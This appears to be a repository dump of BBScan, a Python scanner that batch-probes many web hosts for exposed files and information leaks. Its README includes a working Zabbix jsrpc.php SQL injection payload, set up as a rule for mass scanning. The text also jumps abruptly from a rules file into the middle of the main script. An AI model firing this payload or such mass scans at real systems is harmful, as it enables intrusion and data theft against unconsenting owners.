61 | **5. Load crawler logs from Directory(\*.log file only) and scan** 62 | 63 | python BBScan.py --crawler crawler_logs/ 64 | 65 | crawler log files should be formarted first: 66 | 67 | . GET http://www.iqiyi.com/ HTTP/1.1^^^200 68 | . POST http://www.pps.tv/login.php HTTP/1.1^^^user=admin&passwd=admin^^^200 69 | 70 | 71 | ## 使用说明 ## 72 | 73 | BBScan是一个迷你的信息泄漏批量扫描脚本。 可以通过文本批量导入主机或URL,以换行符分割。 74 | 75 | `--crawler` 参数是`v1.1`新增的,可以导入爬虫日志发起扫描。 日志的格式,我们约定如下: 76 | 77 | Request Line + 三个尖括号 + [POST请求body] + 三个尖括号 + HTTP状态码 78 | 示例如下: 79 | 80 | . GET http://www.iqiyi.com/ HTTP/1.1^^^200 81 | . POST http://www.pps.tv/login.php HTTP/1.1^^^user=admin&passwd=admin^^^200 82 | 83 | `--full` 处理所有的子文件夹,比如 `http://www.target.com/aa/bb/cc/`, `/aa/bb/cc/` `/aa/bb/` `/aa/` 三个path都将被扫描 84 | 85 | `-n, --no-crawl` 不从首页抓取新的URL 86 | 87 | `-nn, --no-check404` 不检查状态码404是否存在,不保存404页面的大小进行后续比对 88 | 89 | 90 | 91 | ## web漏洞应急扫描 ## 92 | 93 | 以批量扫描 Zabbix SQL注入为例,在一个txt文件中写入规则: 94 | 95 | /zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim%20estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi%20story.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20user())x%20from%20information_schema.character_sets%20group%20by%20x)y)&updateProfil%20e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=%2017&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&%20mark_color=1 {tag="Duplicate entry"} {status=200} {type="text/plain"} 96 | 97 | /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&stamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim%20estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi%20story.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20user())x%20from%20information_schema.character_sets%20group%20by%20x)y)&updateProfil%20e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=%2017&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&%20mark_color=1 {tag="Duplicate entry"} {status=200} {type="text/plain"} 98 | 99 | 把所有HTTP like的服务写入 iqiyi.http.txt: 100 | 101 | 不要抓首页 102 | 不要检测404 103 | 并发2个线程、 50个进程 104 | 105 | 可以比较迅速地扫完几万个域名和IP地址: 106 | 107 | BBScan.py --no-crawl --no-check404 -t2 -p50 -f iqiyi.http.txt 108 | 109 | 110 | 该插件是从内部扫描器中抽离出来的,感谢 `Jekkay Hu<34538980[at]qq.com>` ,欢迎提交有用的新规则 111 | -------------------------------------------------------------------------------- /lib/common.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # 4 | # Common functions 5 | # 6 | 7 | import time 8 | import urlparse 9 | import re 10 | import os 11 | import requests 12 | import difflib 13 | 14 | 15 | def print_msg(msg): 16 | print '[%s] %s' % (time.strftime('%H:%M:%S', time.localtime()), msg) 17 | 18 | 19 | def parse_url(url): 20 | _ = urlparse.urlparse(url, 'http') 21 | if not _.netloc: 22 | _ = urlparse.urlparse('http://' + url, 'http') 23 | return _.scheme, _.netloc, _.path if _.path else '/' 24 | 25 | 26 | def decode_response_text(txt, charset=None): 27 | if charset: 28 | try: 29 | return txt.decode(charset) 30 | except: 31 | pass 32 | 33 | for _ in ['UTF-8', 'GB2312', 'GBK', 'iso-8859-1', 'big5']: 34 | try: 35 | return txt.decode(_) 36 | except: 37 | pass 38 | 39 | try: 40 | return txt.decode('ascii', 'ignore') 41 | except: 42 | pass 43 | 44 | raise Exception('Fail to decode response Text') 45 | 46 | 47 | # calculate depth of a given URL, return tuple (url, depth) 48 | def cal_depth(self, url): 49 | if url.find('#') >= 0: 50 | url = url[:url.find('#')] # cut off fragment 51 | if url.find('?') >= 0: 52 | url = url[:url.find('?')] # cut off query string 53 | 54 | if url.startswith('//'): 55 | return '', 10000 # //www.baidu.com/index.php 56 | 57 | if not urlparse.urlparse(url, 'http').scheme.startswith('http'): 58 | return '', 10000 # no HTTP protocol 59 | 60 | if url.lower().startswith('http'): 61 | _ = urlparse.urlparse(url, 'http') 62 | if _.netloc == self.host: # same hostname 63 | url = _.path 64 | else: 65 | return '', 10000 # not the same hostname 66 | 67 | while url.find('//') >= 0: 68 | url = url.replace('//', '/') 69 | 70 | if not url: 71 | return '/', 1 # http://www.example.com 72 | 73 | if url[0] != '/': 74 | url = '/' + url 75 | 76 | url = url[: url.rfind('/') + 1] 77 | 78 | if url.split('/')[-2].find('.') > 0: 79 | url = '/'.join(url.split('/')[:-2]) + '/' 80 | 81 | depth = url.count('/') 82 | return url, depth 83 | 84 | 85 | def save_user_script_result(self, status, url, title): 86 | self.lock.acquire() 87 | #print '[+] [%s] %s' % (status, url) 88 | if url not in self.results: 89 | self.results[url] = [] 90 | _ = {'status': status, 'url': url, 'title': title} 91 | self.results[url].append(_) 92 | self.lock.release() 93 | 94 | 95 | def get_domain_sub(host): 96 | if re.search('\d+\.\d+\.\d+\.\d+', host.split(':')[0]): 97 | return '' 98 | else: 99 | return host.split('.')[0] 100 | 101 | def check_server(rsp_server): 102 | if not rsp_server: return 'unknown' 103 | 104 | rsp_server = rsp_server.lower() 105 | 106 | common_server = ['iis', 'tomcat', 'nginx', 'apache', 'tengine', 'express'] 107 | for s in common_server: 108 | if s in rsp_server: 109 | return s 110 | 111 | return 'unknown' 112 | 113 | def check_lang(base_url, rsp_headers): 114 | ''' 115 | :param url: 扫描站点的一个url 116 | :return: php python nodejs unknown 117 | ''' 118 | # dectect webserver 119 | 120 | # 通过session名比较 121 | # laravel_session 是laravel的session 122 | # ci_session 是CI的 123 | php_session = [('php', 'phpsessid'), ('ci', 'ci_session'), ('cakephp','cakephp'), ('laravel', 'laravel_session')] 124 | cookies = rsp_headers.get('set-cookie', '').lower() 125 | for (n, s) in php_session: 126 | if s in cookies: 127 | return 'php', n 128 | 129 | # 通过x-powered-by比较 130 | rsp_powerby = rsp_headers.get('x-powered-by', '').lower() 131 | if 'php' in rsp_powerby: 132 | return 'php', 'php' 133 | 134 | if 'express' in rsp_powerby: 135 | return 'nodejs', 'express' 136 | 137 | if 'asp.net' in rsp_powerby: 138 | return 'aspx', 'aspx' 139 | 140 | # 不能分辨的最后判断 141 | if 'nodesess' in cookies: 142 | return 'nodejs', 'nodejs' 143 | 144 | # 区分php java other 145 | # 通过server比较 146 | rsp_server = rsp_headers.get('server', '').lower() 147 | 148 | if rsp_server: 149 | # 有待考证 150 | python_server = ['tornado', 'wsgi', 'flask', 'django', 'werkzeug', 'gunicorn', 'gevent', 'python'] 151 | for s in python_server: 152 | if s in rsp_server: 153 | return 'python', s 154 | 155 | java_server = ['jetty', 'tomcat', 'coyote', 'jboss', 'glassfish', 'wildfly', 'tomee', 'geronimo', 'jonas', 'resin', 'blazix'] 156 | for s in java_server: 157 | if s in rsp_server: 158 | return 'java', s 159 | 160 | iis_server = ['iis', 'microsoft'] # asp 没有url重新的情况,上面已经做判断 161 | for s in iis_server: 162 | if s in rsp_server: 163 | return 'aspx', 'unknown' 164 | 165 | r = requests.get(base_url + '/index.php') 166 | rb = requests.get(base_url) 167 | # 通过加index.php和不加index.php比较 168 | if difflib.SequenceMatcher(None, rb.text, r.text).ratio() > 0.9 and r.status_code == rb.status_code: 169 | return 'php', 'php' 170 | 171 | if 'apache' in rsp_server: # python/nodejs 等一定不是apache,只可能是静态或者java或者php,不管静态 172 | return 'java', 'unknown' 173 | 174 | # nginx 经常作为cdn,判断出错概率大 175 | 176 | return 'unknown', 'unknown' 177 | 178 | def check_lang_url(url): 179 | parts = urlparse.urlparse(url) 180 | path = parts.path 181 | ext = os.path.splitext(path)[1] 182 | if ext: 183 | if ext in ['.do', '.action', 'jsp', 'jspx']: 184 | return 'java' 185 | if ext in ['.php']: 186 | return 'php' 187 | if ext in ['.asp']: 188 | return 'asp' 189 | if ext in ['.aspx']: 190 | return 'aspx' 191 | return 'unknown' 192 | 193 | 194 | def check_rewrite(server, lang): 195 | if lang in ['java', 'python', 'nodejs']: 196 | return True 197 | 198 | if server not in ['apache', 'nginx', 'tengine', 'iis']: 199 | return True 200 | 201 | return False 202 | -------------------------------------------------------------------------------- /rules/1.common_set.txt: -------------------------------------------------------------------------------- 1 | # each item must starts with right slash "/" 2 | # format: 3 | # /path {tag="text string to find"} {status=STATUS_CODE} {type="content-type must have this string"} {type_no="content-type must not have this string"} 4 | # {root_only} set scan web root only 5 | 6 | /core {status=200} {tag="ELF"} {root_only} 7 | /crossdomain.xml {status=200} {tag=" 0: 86 | self.url = 'http://' + url 87 | else: 88 | self.url = url 89 | self.schema, self.host, self.path = parse_url(url) 90 | self.domain_sub = get_domain_sub(self.host) 91 | self.init_final() 92 | 93 | def init_from_log_file(self, log_file): 94 | self.init_reset() 95 | self.log_file = log_file 96 | self.schema, self.host, self.path = self._parse_url_from_file() 97 | self.domain_sub = get_domain_sub(self.host) 98 | if self.host: 99 | self.load_all_urls_from_log_file() 100 | self.init_final() 101 | else: 102 | self.init_from_url(os.path.basename(log_file).replace('.log', '')) 103 | 104 | # 105 | def init_final(self): 106 | try: 107 | self.conn_pool.close() 108 | except: 109 | pass 110 | default_port = 443 if self.schema.lower() == 'https' else 80 111 | self.host, self.port = self.host.split(':') if self.host.find(':') > 0 else (self.host, default_port) 112 | self.port = int(self.port) 113 | if self.schema == 'http' and self.port == 80 or self.schema == 'https' and self.port == 443: 114 | self.base_url = '%s://%s' % (self.schema, self.host) 115 | else: 116 | self.base_url = '%s://%s:%s' % (self.schema, self.host, self.port) 117 | 118 | is_port_open = self.is_port_open() 119 | if is_port_open: 120 | if self.schema == 'https': 121 | self.conn_pool = HTTPSConnPool(self.host, port=self.port, maxsize=self.args.t * 2, headers=headers) 122 | else: 123 | self.conn_pool = HTTPConnPool(self.host, port=self.port, maxsize=self.args.t * 2, headers=headers) 124 | 125 | if not is_port_open: 126 | return 127 | 128 | self.max_depth = cal_depth(self, self.path)[1] + 5 129 | if self.args.no_check404: 130 | self._404_status = 404 131 | self.has_404 = True 132 | else: 133 | self.check_404() # check existence of HTTP 404 134 | if not self.has_404: 135 | print_msg('[Warning] %s has no HTTP 404.' % self.host) 136 | 137 | self.request_index(self.path) 138 | self.gather_info() 139 | 140 | _path, _depth = cal_depth(self, self.path) 141 | self._enqueue('/') 142 | self._enqueue(_path) 143 | if not self.args.no_crawl and not self.log_file: 144 | self.crawl_index() 145 | 146 | def is_port_open(self): 147 | try: 148 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 149 | s.settimeout(5.0) 150 | if s.connect_ex((self.host, int(self.port))) == 0: 151 | self.lock.acquire() 152 | print_msg('Scan web: %s' % self.base_url) 153 | self.lock.release() 154 | return True 155 | else: 156 | print_msg('[Warning] Fail to connect to %s:%s' % (self.host, self.port)) 157 | return False 158 | except Exception as e: 159 | return False 160 | finally: 161 | s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) 162 | s.close() 163 | 164 | # 165 | def _parse_url_from_file(self): 166 | url = '' 167 | with open(self.log_file) as infile: 168 | for line in infile.xreadlines(): 169 | line = line.strip() 170 | if line and len(line.split()) >= 3: 171 | url = line.split()[1] 172 | break 173 | return parse_url(url) 174 | 175 | def _load_rules(self, rule_file): 176 | rules = [] 177 | p_tag = re.compile('{tag="(.*?)"}') 178 | p_status = re.compile('{status=(\d{3})}') 179 | p_content_type = re.compile('{type="(.*?)"}') 180 | p_content_type_no = re.compile('{type_no="(.*?)"}') 181 | p_lang = re.compile('{lang="(.*?)"}') 182 | with open(rule_file, 'r') as infile: 183 | for url in infile.xreadlines(): 184 | url = url.strip() 185 | if url.startswith('/'): 186 | _ = p_tag.search(url) 187 | tag = _.group(1) if _ else '' 188 | 189 | _ = p_status.search(url) 190 | status = int(_.group(1)) if _ else 0 191 | 192 | _ = p_content_type.search(url) 193 | content_type = _.group(1) if _ else '' 194 | 195 | _ = p_content_type_no.search(url) 196 | content_type_no = _.group(1) if _ else '' 197 | 198 | _ = p_lang.search(url) 199 | lang = _.group(1) if _ else '' 200 | 201 | root_only = True if url.find('{root_only}') >= 0 else False 202 | 203 | rewrite = True if url.find('{rewrite}') >= 0 else False 204 | 205 | rule = (url.split()[0], tag, status, content_type, content_type_no, root_only, lang, rewrite) 206 | rules.append(rule) 207 | return rules 208 | # 209 | # load urls from rules/*.txt 210 | def _init_rules(self): 211 | self.text_to_find = [] 212 | self.regex_to_find = [] 213 | self.text_to_exclude = [] 214 | self.regex_to_exclude = [] 215 | self.rules_set = set() 216 | 217 | for rule_file in glob.glob('rules/*.txt'): 218 | rules = self._load_rules(rule_file) 219 | for rule in rules: 220 | if rule not in self.rules_set: 221 | self.rules_set.add(rule) 222 | else: 223 | print 'Dumplicated Rule:', rule 224 | 225 | re_text = re.compile('{text="(.*)"}') 226 | re_regex_text = re.compile('{regex_text="(.*)"}') 227 | 228 | _file_path = 'rules/white.list' 229 | if not os.path.exists(_file_path): 230 | return 231 | for line in open(_file_path): 232 | line = line.strip() 233 | if not line or line.startswith('#'): 234 | continue 235 | _m = re_text.search(line) 236 | if _m: 237 | self.text_to_find.append( 238 | _m.group(1).decode('utf-8', 'ignore') 239 | ) 240 | else: 241 | _m = re_regex_text.search(line) 242 | if _m: 243 | self.regex_to_find.append( 244 | re.compile(_m.group(1).decode('utf-8', 'ignore')) 245 | ) 246 | 247 | _file_path = 'rules/black.list' 248 | if not os.path.exists(_file_path): 249 | return 250 | for line in open(_file_path): 251 | line = line.strip() 252 | if not line or line.startswith('#'): 253 | continue 254 | _m = re_text.search(line) 255 | if _m: 256 | self.text_to_exclude.append( 257 | _m.group(1).decode('utf-8', 'ignore') 258 | ) 259 | else: 260 | _m = re_regex_text.search(line) 261 | if _m: 262 | self.regex_to_exclude.append( 263 | re.compile(_m.group(1).decode('utf-8', 'ignore')) 264 | ) 265 | 266 | # 267 | def _init_scripts(self): 268 | self.user_scripts = [] 269 | if self.args.no_scripts: # disable user scripts scan 270 | return 271 | for _script in glob.glob('scripts/*.py'): 272 | script_name = os.path.basename(_script).replace('.py', '') 273 | if script_name.startswith('_'): 274 | continue 275 | try: 276 | _ = importlib.import_module('scripts.%s' % script_name) 277 | self.user_scripts.append(_) 278 | except Exception as e: 279 | print e 280 | 281 | # 282 | def _http_request(self, url, timeout=30): 283 | try: 284 | if not url: 285 | url = '/' 286 | # print 'request', self.base_url + url 287 | resp = self.conn_pool.urlopen('GET', self.base_url + url, redirect=False, timeout=timeout, retries=0) 288 | resp_headers = resp.headers 289 | status = resp.status 290 | if resp_headers.get('content-type', '').find('text') >= 0 \ 291 | or resp_headers.get('content-type', '').find('html') >= 0 \ 292 | or int(resp_headers.get('content-length', '0')) <= 20480: # 1024 * 20 293 | html_doc = decode_response_text(resp.data) 294 | else: 295 | html_doc = '' 296 | 297 | return status, resp_headers, html_doc 298 | except Exception as e: 299 | return -1, {}, '' 300 | 301 | # 302 | def check_404(self): 303 | try: 304 | try: 305 | self._404_status, headers, html_doc = self._http_request('/BBScan-404-existence-check') 306 | except: 307 | self._404_status, headers, html_doc = -1, {}, '' 308 | 309 | self.has_404 = (self._404_status == 404) 310 | if not self.has_404: 311 | self.len_404_doc = len(html_doc) 312 | return self.has_404 313 | except Exception as e: 314 | logging.error('[Check_404] Exception %s' % str(e)) 315 | 316 | def _enqueue_request(self, prefix, full_url, rule): 317 | if self.args.scripts_only: 318 | return 319 | if full_url in self.urls_enqueued: 320 | return 321 | url_description = {'prefix': prefix, 'full_url': full_url} 322 | item = (url_description, rule[1], rule[2], rule[3], rule[4], rule[5], rule[6], rule[7]) 323 | self.url_queue.put(item) 324 | self.urls_enqueued.add(full_url) 325 | 326 | def _enqueue_script(self, module, prefix): 327 | if self.args.no_scripts: 328 | return 329 | if not prefix: prefix = '/' 330 | if (module.__name__, prefix) in self.scripts_enqueued: return 331 | self.url_queue.put((module, prefix)) 332 | self.scripts_enqueued.add((module.__name__, prefix)) 333 | 334 | # 335 | def _enqueue(self, url): 336 | try: 337 | url = str(url) 338 | url_pattern = re.sub('\d+', '{num}', url) 339 | if url_pattern in self.urls_processed or len(self.urls_processed) >= self.LINKS_LIMIT: 340 | return False 341 | else: 342 | self.urls_processed.add(url_pattern) 343 | # print 'Entered Queue:', url 344 | for _ in self.rules_set: 345 | # rewrite & lang check 346 | if self.rewrite and not _[7]: 347 | continue 348 | elif self.lang and self.lang != 'unknown': 349 | if _[6] and self.lang != _[6]: 350 | continue 351 | 352 | # root_only 353 | if _[5] and url != '/': 354 | continue 355 | 356 | full_url = url.rstrip('/') + _[0] 357 | self._enqueue_request(url.rstrip('/'), full_url, _) 358 | 359 | if self.full_scan and url.count('/') >= 2: 360 | self._enqueue('/'.join(url.split('/')[:-2]) + '/') # sub folder enqueue 361 | 362 | for _ in self.user_scripts: 363 | self._enqueue_script(_, url.rstrip('/')) 364 | 365 | return True 366 | except Exception as e: 367 | print '[_enqueue.exception] %s' % str(e) 368 | return False 369 | 370 | # 371 | def request_index(self, path): 372 | try: 373 | status, headers, html_doc = self._http_request(path) 374 | if status != 200: 375 | try: 376 | html_doc = self.conn_pool.urlopen('GET', self.url, headers=headers_without_range, retries=1).data 377 | html_doc = decode_response_text(html_doc) 378 | except Exception as e: 379 | pass 380 | self.index_status, self.index_headers, self.index_html_doc = status, headers, html_doc # save index content 381 | soup = BeautifulSoup(self.index_html_doc, "html.parser") 382 | for link in soup.find_all('a'): 383 | url = link.get('href', '').strip() 384 | self.index_a_urls.add(url) 385 | 386 | except Exception as e: 387 | logging.error('[request_index Exception] %s' % str(e)) 388 | traceback.print_exc() 389 | 390 | def gather_info(self): 391 | if not self.server: 392 | self.server = check_server(self.index_headers.get('server', '')) 393 | 394 | if not self.lang: 395 | self.lang, self.framework = check_lang(self.base_url, self.index_headers) 396 | 397 | if self.lang == 'unknown': 398 | for url in self.index_a_urls: 399 | url, depth = cal_depth(self, url) 400 | lang = check_lang_url(url) 401 | if lang != 'unknown': 402 | self.lang = lang 403 | break 404 | self.rewrite = check_rewrite(self.server, self.lang) 405 | 406 | def crawl_index(self): 407 | for url in self.index_a_urls: 408 | url, depth = cal_depth(self, url) 409 | if depth <= self.max_depth: 410 | self._enqueue(url) 411 | if self.find_text(self.index_html_doc): 412 | self.results['/'] = [] 413 | m = re.search('(.*?)', self.index_html_doc) 414 | title = m.group(1) if m else '' 415 | _ = {'status': self.index_status, 'url': '%s%s' % (self.base_url, self.path), 'title': title} 416 | if _ not in self.results['/']: 417 | self.results['/'].append(_) 418 | 419 | # 420 | def load_all_urls_from_log_file(self): 421 | try: 422 | with open(self.log_file) as inFile: 423 | for line in inFile.xreadlines(): 424 | _ = line.strip().split() 425 | if len(_) == 3 and (_[2].find('^^^200') > 0 or _[2].find('^^^403') > 0 or _[2].find('^^^302') > 0): 426 | url, depth = cal_depth(self, _[1]) 427 | self._enqueue(url) 428 | except Exception as e: 429 | logging.error('[load_all_urls_from_log_file Exception] %s' % str(e)) 430 | traceback.print_exc() 431 | 432 | # 433 | def find_text(self, html_doc): 434 | for _text in self.text_to_find: 435 | if html_doc.find(_text) > 0: 436 | return True 437 | for _regex in self.regex_to_find: 438 | if _regex.search(html_doc) > 0: 439 | return True 440 | return False 441 | 442 | # 443 | def find_exclude_text(self, html_doc): 444 | for _text in self.text_to_exclude: 445 | if html_doc.find(_text) >= 0: 446 | return True 447 | for _regex in self.regex_to_exclude: 448 | if _regex.search(html_doc): 449 | return True 450 | return False 451 | 452 | def apply_rules(self, item): 453 | url_description, tag, status_to_match, content_type, content_type_no, root_only, lang, rewrite = item 454 | prefix = url_description['prefix'] 455 | url = url_description['full_url'] 456 | # print url 457 | url = url.replace('{sub}', self.domain_sub) 458 | if url.find('{hostname_or_folder}') >= 0: 459 | _url = url[: url.find('{hostname_or_folder}')] 460 | folders = _url.split('/') 461 | for _folder in reversed(folders): 462 | if _folder not in ['', '.', '..']: 463 | url = url.replace('{hostname_or_folder}', _folder) 464 | break 465 | url = url.replace('{hostname_or_folder}', self.domain_sub) 466 | url = url.replace('{hostname}', self.domain_sub) 467 | 468 | if not item or not url: 469 | return False, None, None, None 470 | 471 | # print '[%s]' % url.strip() 472 | try: 473 | status, headers, html_doc = self._http_request(url) 474 | cur_content_type = headers.get('content-type', '') 475 | 476 | if self.find_exclude_text(html_doc): # excluded text found 477 | return False, status, headers, html_doc 478 | 479 | if ('html' in cur_content_type or 'text' in cur_content_type) and \ 480 | 0 <= len(html_doc) <= 10: # text too short 481 | return False, status, headers, html_doc 482 | 483 | if cur_content_type.find('image/') >= 0: # exclude image 484 | return False, status, headers, html_doc 485 | 486 | valid_item = False 487 | if self.find_text(html_doc): 488 | valid_item = True 489 | else: 490 | if cur_content_type.find('application/json') >= 0 and not url.endswith('.json'): # no json 491 | return False, status, headers, html_doc 492 | 493 | if status != status_to_match and status != 206: # status in [301, 302, 400, 404, 501, 502, 503, 505] 494 | return False, status, headers, html_doc 495 | 496 | if tag: 497 | if html_doc.find(tag) >= 0: 498 | valid_item = True 499 | else: 500 | return False, status, headers, html_doc # tag mismatch 501 | 502 | if (content_type and cur_content_type.find(content_type) < 0) \ 503 | or (content_type_no and cur_content_type.find(content_type_no) >= 0): 504 | return False, status, headers, html_doc # type mismatch 505 | 506 | if self.has_404 or status != self._404_status: 507 | if status_to_match in (200, 206) and status == 206: 508 | valid_item = True 509 | elif status_to_match and status != status_to_match: # status mismatch 510 | return False, status, headers, html_doc 511 | elif status_to_match != 403 and status == 403: 512 | return False, status, headers, html_doc 513 | else: 514 | valid_item = True 515 | 516 | if not self.has_404 and status in (200, 206) and url != '/' and not tag: 517 | _len = len(html_doc) 518 | _min = min(_len, self.len_404_doc) 519 | if _min == 0: 520 | _min = 10.0 521 | if float(_len - self.len_404_doc) / _min > 0.3: 522 | valid_item = True 523 | 524 | if status == 206 and tag == '' and cur_content_type.find('text') < 0 and cur_content_type.find('html') < 0: 525 | valid_item = True 526 | 527 | return valid_item, status, headers, html_doc 528 | 529 | except Exception as e: 530 | logging.error('[_scan_worker.Exception][3][%s] %s' % (url, str(e))) 531 | traceback.print_exc() 532 | 533 | # 534 | def _scan_worker(self): 535 | while self.url_queue.qsize() > 0: 536 | if time.time() - self.START_TIME > self.TIME_OUT: 537 | self.url_queue.queue.clear() 538 | print_msg('[ERROR] Timed out task: %s' % self.host) 539 | return 540 | try: 541 | item = self.url_queue.get(timeout=0.1) 542 | except Exception as e: 543 | print e 544 | return 545 | try: 546 | if len(item) == 2: # User Script 547 | check_func = getattr(item[0], 'do_check') 548 | check_func(self, item[1]) 549 | continue 550 | except Exception as e: 551 | logging.error('[_scan_worker Exception] [1] %s' % str(e)) 552 | traceback.print_exc() 553 | continue 554 | 555 | url_description, tag, status_to_match, content_type, content_type_no, root_only, lang, rewrite = item 556 | prefix = url_description['prefix'] 557 | url = url_description['full_url'] 558 | valid_item, status, headers, html_doc = self.apply_rules(item) 559 | 560 | try: 561 | if valid_item: 562 | m = re.search('(.*?)', html_doc) 563 | title = m.group(1) if m else '' 564 | self.lock.acquire() 565 | # print '[+] [Prefix:%s] [%s] %s' % (prefix, status, 'http://' + self.host + url) 566 | if prefix not in self.results: 567 | self.results[prefix] = [] 568 | _ = {'status': status, 'url': '%s%s' % (self.base_url, url), 'title': title} 569 | if _ not in self.results[prefix]: 570 | self.results[prefix].append(_) 571 | self.lock.release() 572 | 573 | if len(self.results) >= 10: 574 | print '[Warning] Over 10 vulnerabilities found [%s], seems to be false positives.' % prefix 575 | self.url_queue.queue.clear() 576 | except Exception as e: 577 | logging.error('[_scan_worker.Exception][2][%s] %s' % (url, str(e))) 578 | traceback.print_exc() 579 | 580 | # 581 | def scan(self, threads=6): 582 | try: 583 | all_threads = [] 584 | for i in range(threads): 585 | t = threading.Thread(target=self._scan_worker) 586 | t.start() 587 | all_threads.append(t) 588 | for t in all_threads: 589 | t.join() 590 | ''' 591 | for key in self.results.keys(): 592 | if len(self.results[key]) > 5: # Over 5 URLs found under this folder, show first only 593 | self.results[key] = self.results[key][:1] 594 | ''' 595 | return '%s:%s' % (self.host, self.port), self.results 596 | except Exception as e: 597 | print '[scan exception] %s' % str(e) 598 | self.conn_pool.close() 599 | 600 | 601 | def batch_scan(q_targets, q_results, lock, args): 602 | s = InfoDisScanner(args.timeout * 60, args=args) 603 | while True: 604 | try: 605 | target = q_targets.get(timeout=1.0) 606 | except: 607 | break 608 | _url = target['url'] 609 | _file = target['file'] 610 | 611 | if _url: 612 | s.init_from_url(_url) 613 | else: 614 | s.init_from_log_file(_file) 615 | 616 | 617 | host, results = s.scan(threads=args.t) 618 | if results: 619 | q_results.put((host, results)) 620 | lock.acquire() 621 | for key in results.keys(): 622 | for url in results[key]: 623 | print '[+] [%s] %s' % (url['status'], url['url']) 624 | lock.release() 625 | 626 | 627 | def save_report_thread(q_results, file): 628 | start_time = time.time() 629 | a_template = template['markdown'] if args.md else template['html'] 630 | t_general = Template(a_template['general']) 631 | t_host = Template(a_template['host']) 632 | t_list_item = Template(a_template['list_item']) 633 | output_file_suffix = a_template['suffix'] 634 | 635 | all_results = [] 636 | report_name = os.path.basename(file).lower().replace('.txt', '') \ 637 | + '_' + time.strftime('%Y%m%d_%H%M%S', time.localtime()) + output_file_suffix 638 | 639 | global STOP_ME 640 | try: 641 | while not STOP_ME: 642 | if q_results.qsize() == 0: 643 | time.sleep(0.1) 644 | continue 645 | 646 | html_doc = "" 647 | while q_results.qsize() > 0: 648 | all_results.append(q_results.get()) 649 | 650 | for item in all_results: 651 | host, results = item 652 | _str = "" 653 | for key in results.keys(): 654 | for _ in results[key]: 655 | _str += t_list_item.substitute( 656 | {'status': _['status'], 'url': _['url'], 'title': _['title']} 657 | ) 658 | _str = t_host.substitute({'host': host, 'list': _str}) 659 | html_doc += _str 660 | 661 | cost_time = time.time() - start_time 662 | cost_min = int(cost_time / 60) 663 | cost_seconds = '%.2f' % (cost_time % 60) 664 | html_doc = t_general.substitute( 665 | {'cost_min': cost_min, 'cost_seconds': cost_seconds, 'content': html_doc} 666 | ) 667 | 668 | with codecs.open('report/%s' % report_name, 'w', encoding='utf-8') as outFile: 669 | outFile.write(html_doc) 670 | 671 | if all_results: 672 | print_msg('Scan report saved to report/%s' % report_name) 673 | if not args.no_browser: 674 | webbrowser.open_new_tab(os.path.abspath('report/%s' % report_name)) 675 | else: 676 | lock.acquire() 677 | print_msg('No vulnerabilities found on sites in %s.' % file) 678 | lock.release() 679 | 680 | except Exception as e: 681 | print_msg('[save_report_thread Exception] %s %s' % (type(e), str(e))) 682 | sys.exit(-1) 683 | 684 | 685 | def domain_lookup(): 686 | r = Resolver() 687 | r.timeout = r.lifetime = 10.0 688 | # r.nameservers = ['182.254.116.116', '223.5.5.5'] + r.nameservers 689 | while True: 690 | try: 691 | host = queue_hosts.get(timeout=0.1) 692 | except: 693 | break 694 | _schema, _host, _path = parse_url(host) 695 | try: 696 | m = re.search('\d+\.\d+\.\d+\.\d+', _host.split(':')[0]) 697 | if m: 698 | q_targets.put({'file': '', 'url': host}) 699 | ips_to_scan.append(m.group(0)) 700 | else: 701 | answers = r.query(_host.split(':')[0]) 702 | if answers: 703 | q_targets.put({'file': '', 'url': host}) 704 | for _ in answers: 705 | ips_to_scan.append(_.address) 706 | except Exception as e: 707 | print_msg('Invalid domain: %s' % host) 708 | 709 | 710 | if __name__ == '__main__': 711 | args = parse_args() 712 | 713 | if args.f: 714 | input_files = [args.f] 715 | elif args.d: 716 | input_files = glob.glob(args.d + '/*.txt') 717 | elif args.crawler: 718 | input_files = ['crawler'] 719 | elif args.host: 720 | input_files = ['hosts'] # several hosts from command line 721 | 722 | ips_to_scan = [] # all IPs to scan during current scan 723 | 724 | for file in input_files: 725 | if args.host: 726 | lines = args.host 727 | elif args.f or args.d: 728 | with open(file) as inFile: 729 | lines = inFile.readlines() 730 | try: 731 | print_msg('Batch web scan start.') 732 | q_results = multiprocessing.Manager().Queue() 733 | q_targets = multiprocessing.Manager().Queue() 734 | lock = multiprocessing.Manager().Lock() 735 | STOP_ME = False 736 | 737 | threading.Thread(target=save_report_thread, args=(q_results, file)).start() 738 | print_msg('Report thread created, prepare target Queue...') 739 | 740 | if args.crawler: 741 | _input_files = glob.glob(args.crawler + '/*.log') 742 | for _file in _input_files: 743 | q_targets.put({'file': _file, 'url': ''}) 744 | 745 | else: 746 | queue_hosts = Queue.Queue() 747 | for line in lines: 748 | if line.strip(): 749 | # Works with https://github.com/lijiejie/subDomainsBrute 750 | # delimiter "," is acceptable 751 | hosts = line.replace(',', ' ').strip().split() 752 | for host in hosts[:1]: # Scan the first host or domain only 753 | queue_hosts.put(host) 754 | 755 | all_threads = [] 756 | for _ in range(30): 757 | t = threading.Thread(target=domain_lookup) 758 | t.start() 759 | all_threads.append(t) 760 | for t in all_threads: 761 | t.join() 762 | 763 | if args.network != 32: 764 | for ip in ips_to_scan: 765 | if ip.find('/') > 0: 766 | continue 767 | _network = 